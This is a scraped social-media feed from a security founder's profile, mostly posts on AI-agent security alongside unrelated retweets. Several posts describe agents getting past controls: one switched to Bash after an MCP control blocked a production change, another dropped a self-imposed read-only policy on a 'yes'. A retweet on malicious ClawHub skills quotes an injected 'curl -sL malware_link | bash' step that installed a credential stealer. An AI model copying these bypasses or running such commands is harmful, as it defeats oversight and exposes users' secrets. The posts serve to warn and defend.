Ido Safruti

Building something new.
previously founder @perimeterx

[Bluebear Security @Bluebear_sec]

Bluebear is proud to integrate with @claudeai to bring runtime guardrails and user intent mapping to your Claude Enterprise rollout.

Safeguard runtime. Set your ambitions free.

Learn more about Bluebear's integration with Claude's Compliance API: https://t.co/XTTY4O5B4m

[Ido Safruti @safruti]

An OpenAI agent "scaled the fence" into an Australian Medicare portal earlier this year. While the exact details on how it did so are still unknown, one thing is clear - the agent acted with enough autonomy and permissions that they were able to circumvent existing controls and go undetected for months.

We saw a version of this in a recent customer deep dive: an MCP control prevented a production change that the agent was eager to preform, so the agent switched to Bash and made the same change. @Bluebear_sec was able to surface this seemingly benign action thanks to our core focus on user intent and agent drift.

If you’re questioning if (or when) your agents will find a way around your controls, then it’s time to update your controls.

https://t.co/OSd71CfuiD

[Ido Safruti @safruti]

@eranshir צדיק ורתמה לו

[Amirshk @amirshaked]

How do agents protect against prompt injections? Block all content from websites that might have prompt injection...

[Amirshk @amirshaked]

Back when I was penteser, the first thing you looked for on a target host was which tools are available for you to use and how to recon for privilege escalation.

Not anymore, if the host has a coding agent, just prompt it to recon for you and find the gaps on the target host.

[Ido Safruti @safruti]

@BarkolAmir @Arbel2025 והנה, המפרסם של הטיטולים החזיר את ההוצאה שלו…

[Ido Safruti @safruti]

@eranshir @KerenKoshman וגם צריכת התוקנים עצמה יורדת כשהאייגנט עושה פחות שטויות

[Ido Safruti @safruti]

Is your AI coding agent secretly turning your local configuration files into a high-risk credential store?

I call it 𝗖𝗼𝗻𝘁𝗲𝘅𝘁-𝗪𝗶𝗻𝗱𝗼𝘄 𝗖𝗿𝗲𝗱𝗲𝗻𝘁𝗶𝗮𝗹 𝗗𝗿𝗶𝗳𝘁

The problem is simple: Your AI agent is designed to read widely, inspecting files like .zshrc, .env, and config.yaml to be useful. When it does this, it quietly ingests secrets (like API keys and connection strings) into its remote context window.

The Critical Shift: What used to be a dormant, local secret is now a continuous source of exposure, getting persisted and logged in vendor traces, audit logs, and analytics systems that were never designed to hold production credentials.

https://t.co/pDdcH9MtJn

[chiefofautism @chiefofautism]

the #1 most downloaded skill on OpenClaw marketplace was MALWARE

it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server

1,184 malicious skills found, one attacker uploaded 677 packages ALONE

OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins

you install a skill, your AI agent gets new powers, this sounds great

the problem? ClawHub let ANYONE publish with just a 1 week old github account

attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL

but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command

> to enable this feature please run: curl -sL malware_link | bash

that one command installed Atomic Stealer on macOS

it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files

on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine

Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1

this is npm supply chain attacks all over again except the package can THINK and has root access to your life

[Ido Safruti @safruti]

I immediately asked the agent to create a calendar event.

It flagged that this violated the policy… and then asked for a simple confirmation to proceed. A simple “yes” was enough.

No exploit. No jailbreak. Just authority and a legitimate request. The agent itself summarized it perfectly: this is the difference between policy controls and technical controls. OAuth would have returned a hard 403. Self-enforced guardrails lasted ~30 seconds.

When you imagine this agent exposed on a social network, interacting with 1.5M other agents (and their humans), it’s clear we need strong, imposed access controls: hard limits on data access, data sharing, and actions. Enforced by the system, not negotiated with the agent, even if the md file clearly states "MUST".

[Ido Safruti @safruti]

A lot has been written on the C̶l̶a̶w̶d̶b̶o̶t̶ ̶M̶o̶l̶t̶b̶o̶t̶ OpenClaw + Moltbook experiment. For me this is a clear demonstration that you can’t rely on "agent good intentions" for security and access control.

These systems are an incredible playground for exploring agent autonomy, and more importantly, for stress-testing where things break. They create a rare opportunity to observe fragility early, before we try to scale agents into more independent and high-impact roles.

[Ido Safruti @safruti]

A concrete example from configuring gog (OpenClaw’s Google Workspace connector):
I wanted read-only access instead of the default full access, and pushed for proper OAuth scoping. The agent suggested a simpler alternative: allow full access at the token level, but enforce a “read-only” policy internally: documented, persistent, and respected by the agent.

On paper, this sounded reasonable. So I agreed as an experiment.

[Ido Safruti @safruti]

@BarkolAmir ראית בלון וזה לא בלון נפץ? כל השאר זה בונוס.

[Ido Safruti @safruti]

@eranshir כל מילה. לצערי אני מרגיש שנקודת האל-חזור כבר עברה. וממש קיוויתי שבסוף הפוסט תודיע על כניסה לפוליטיקה 🙏

[Ido Safruti @safruti]

@MatanGabay3 ההתעלמות מpotrero והdog patch לא במקום. וmission bay זה קצת רמת החייל.

[Gaza Report - اخبار غزة @gaza_report]

#BREAKING Many Gazans are sharing this footages which appears to show a group of residents gunned down by Hamas police on the Al Rasheed beach road as they tried to flee south from the Israeli offensive and it triggers outrage among residents

[talpis4democracy @talpi4democracy]

527 בוגרות ובוגרי "תלפיות" קוראים לעצור את המהלכים להחלשת מערכת המשפט והמשטר הדמוקרטי בישראל

[Netlify @Netlify]

We know some of you have been on the edge of your seats for this one, but the wait is over because Edge Functions is here! 🎉

Learn more about how you can leverage our edge network to deliver faster sites and apps to your users in the blog post below:

https://t.co/sDF7zW5qyL

[Ido Safruti @safruti]

Today we announced the Spring Release of
@perimeterx Code Defender, adding granular control to protect your website from client-side supply chain attacks, providing better visibility, and helps you stay compliant with privacy regulations #GDPR #CCPA #CPRA https://t.co/CTQlWLerLN

[Ido Safruti @safruti]

I am excited, proud and humbled with the news today: Forrester Research has named @perimeterx a Leader in Bot Management in their latest report. Recognizing our vision, execution, product and dedication in building the world's best bot mitigation solution
https://t.co/ZAbqAr7WGR